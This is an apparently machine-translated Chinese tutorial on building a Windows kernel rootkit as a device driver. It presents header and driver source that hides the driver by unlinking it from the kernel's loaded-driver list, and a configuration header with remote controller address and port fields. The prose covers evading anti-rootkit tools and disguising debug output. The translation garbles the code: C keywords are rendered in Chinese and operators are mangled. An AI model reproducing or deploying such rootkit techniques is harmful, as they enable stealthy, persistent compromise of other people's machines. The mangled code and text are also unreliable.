审查:1。总结

本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。

Rootkit的本文中描述的主要成分






1。总结

本文将带领读者创建一个主要的内核级Rootkit,然后介绍了两种简单的隐身技术:隐身技术和隐身技术工艺文件。同时,为了让读者获得rootkit编程经验,我们推出了加载和卸载的方法和必要的测试技术的rootkit。

Rootkit的介绍本文的主要部分是一个设备驱动程序,所以让我们开始第一个rootkit。

二,rootkit的主体

本节介绍一个简单的rootkit的实例,这实际上只提供了Rootkit的主要框架,换句话说,一个设备驱动程序。所以为什么使用设备驱动程序为主体很明显,因为在系统中,设备驱动程序和操作系统程序中所有的特权阶级mdash;mdash;它们运行在ring0和有权对系统中所有的代码和数据的访问。还有一点要注意,因为这种情况下的主要目的是介绍如何Rootkit是无形的,所以没有特定功能的后门等。

我们将解释的rootkit形式的源代码,并介绍一些重要的数据结构和函数。接下来,我们先把第一个文件我们使用,这是一个头文件称为看不见的。H,这是如下:

/ /看不见的。H:我们的rootkit的头文件


#则_invisible_h_


#定义_invisible_h_

typedef布尔型;


typedef unsigned long DWORD;


typedef DWORD * pdword;


typedef unsigned long页;


定义无符号短词;


定义字节类型;

typedef struct _driver_data


{


list_entry listentry;


一个DWORD值;


DWORD unknown2;


DWORD unknown3;


DWORD unknown4;


DWORD unknown5;


DWORD unknown6;


DWORD unknown7;


unicode_string路径;


unicode_string名称;


driver_data };

# endif








We know that applications can include a large number of definitions as long as they simply refer to several files, such as stdio.h and windows.h.But this approach to the driver can't work here. 有两个原因。首先,驱动程序的体积通常是紧凑的。二、司机的应用更为具体,和数据类型较少,因此,我们给出了一个文件,看不见的。H,它定义了一些我们的rootkit的数据类型。

在这里所定义的类型,有一个数据类型说:双字类型,它实际上是一个无符号长整型。此外,driver_data是一个数据结构,通过Windows操作系统的秘密,包括上、下设备驱动程序的指向设备驱动程序目录的指针。所以我们在这里一样一个rootkit设备驱动程序来实现的,只要我们的rootkit目录的设备驱动程序(即司机)删除目录项对应的系统管理程序将无法看到它,为了实现隐身。

Rootkit的头文件是上面介绍的。现在我们介绍Rootkit的主要部分,它实际上是一个基本的设备驱动程序。具体代码显示在下面。

/不可见

#包括ntddk。H


#包括看不见的。H


#包括文件管理器的。


#包括configmanager。H

全局变量


页主版本号;


ulong MinorVersion;

当自由构建时,将注释排除在外以避免被检测到。


无效的卸载文件(在pdriver_object pdriverobject)


{


DbgPrint(comint16:onunload叫。);


}




NTSTATUS DriverEntry(在pdriver_object pdriverobject,在punicode_string)


theregistrypath)


{


driver_data * driverdata;

获取操作系统的版本


psgetversion(主版本号,MinorVersion,null,null);

= 4:Windows NT 4、Windows ME、Windows 98或Windows 95


= 5:Windows Server 2003、WindowsXP或Windows 2000


0,Windows 2000,Windows NT 4或Windows 95


1


2:Windows服务器2003

如果(主版本号= = 5 = = 2 MinorVersion)


{


DbgPrint(comint16:在Windows 2003的运行);


}


如果(主版本号= = 5 = = 1 MinorVersion)


{


DbgPrint(comint16:运行在Windows XP);


}


如果(主版本号= = 5 = = 0 MinorVersion)


{


DbgPrint(comint16:运行于Windows 2000);


}


如果(主版本号= = 4 = = 0 MinorVersion)


{

DbgPrint(comint16:运行在Windows NT 4 );


}


其他的


{


DbgPrint(comint16:未知系统运行);


}

隐藏驱动程序


driverdata = *((driver_data * *)((DWORD)pdriverobject 20));


如果(driverdata!= null)


{


将删除目录中相应条目中的驱动程序/驱动器


*((pdword)driverdata -> listentry。眨眼)=(DWORD)driverdata -> listentry.flink;


driverdata -> listentry。弗林克->眨眼= driverdata -> listentry.blink;


}

允许驱动程序/卸载

pdriverobject ->卸载= onunload;

控制器被配置为连接 / / rootkit


如果(!!nt_success(配置()))


{


DbgPrint(comint16:无法配置远程连接上。;


返回status_unsuccessful;


}

返回status_success;


}




看不见的。C是Rootkit的主要结构,包括入口函数DriverEntry和卸载功能卸载文件,操作系统将调用入口函数时,驱动加载。我们看到,一个参数,通过对入口函数是driver_object,其作用是给一个函数调用与司机沟通时映射表。在这种情况下,我们只是地图功能pdriverobject ->卸载,因此当驱动程序被卸载,卸载文件的函数是由操作系统调用。特别的是,这一点在rootkit的发展过程中是非常有用的,不需要重新启动系统卸载驱动,但它带来的一个大问题:它是容易的所以,隐藏要求不能高用,我们在源代码中有相应的注释部分。

让我们看看Rootkit是隐身。我们摘录的代码隐藏的设备驱动程序如下:

隐藏驱动程序


driverdata = *((driver_data * *)((DWORD)pdriverobject 20));


如果(driverdata!= null)


{


将删除目录中相应条目中的驱动程序/驱动器


*((pdword)driverdata -> listentry。眨眼)=(DWORD)driverdata -> listentry.flink;


driverdata -> listentry。弗林克->眨眼= driverdata -> listentry.blink;


}






为了防止操作系统找到我们的rootkit的设备驱动程序,这个代码修改系统内核的内部数据结构,有一个双向链表中的系统,这是目前的驱动程序运行记录。也就是说,每一个运行的驱动链接列表中有相应的表项。就像drivers.exe和其他应用程序,设备驱动程序的信息是通过链表得到。换句话说,如果的rootkit的表项从链表中删除,可以隐藏的rootkit的存在和避免大多数试验。

细心的读者可能会问,隐藏的很好,但如果一个系统对驾驶员的存在只有通过这个清单,我们不能破坏的rootkit幸运的是,Windows操作系统的内核使用另一个表来为操作中的每个驱动程序分配时间。因此,即使我们删除rootkit对应表条目从设备驱动程序的列表,我们的rootkit仍然活得自在。

当我们用这种技术来隐藏的rootkit,我们必须注意:如果已经安装了反rootkit软件之前,我们的rootkit,明确的设备驱动程序表项这种行为本身可以被检测到,这引起了人们的关注。读者会问:我应该做些什么呢答案是,第一个音符对应的rootkit设备驱动程序的入口地址,然后检查钩内核驱动程序的列表,当该函数检查清单,我们有机会提前保存表到设备驱动程序的列表。考试结束后,该项目被删除。这样,在rootkit检测程序,没有一个是在手和脚上的设备驱动程序链:反rootkit软件闪烁。但技术更为复杂,超出了本文的范围,我们将有机会解释。

你可能已经注意到,调试语句用于在invisible.c.in事实上许多地方,DbgPrint语句基本上都是免费放在rootkit。在这种情况下,我们使用DbgPrint语句来监控负载和错误驱动程序的状态。然而,这一声明的输出不会直接显示在标准输出设备或显示器。只有在DebugView程序的帮助下,我们可以看到这些语句的输出。另外的DebugView程序,内核调试程序也可以用于这个目的。另外,我们的调试语句的另一个特征。他们都开始与通信情报32,这是用来区分从其他程序的调试输出报表。另一方面,通信情报32使用单词以欺骗公众,因为它是与rootkit的接触非常困难

三。配置管理器

我们的rootkit的主体已经竣工,但要让它工作,我们必须做一些必要的配置,例如,如果你需要远程控制它,你需要配置连接。因此,我们还需要一个配置管理器来做配置Rootkit的工作。以下是Rootkit配置管理器头文件:

/ / configmanager。H


配置管理头文件

#则_config_manager_h_


#定义_config_manager_h_

焦masterport { 10 };


焦masteraddress1 { 4 };


焦masteraddress2 { 4 };


焦masteraddress3 { 4 };


焦masteraddress4 { 4 };

NTSTATUS配置();

# endif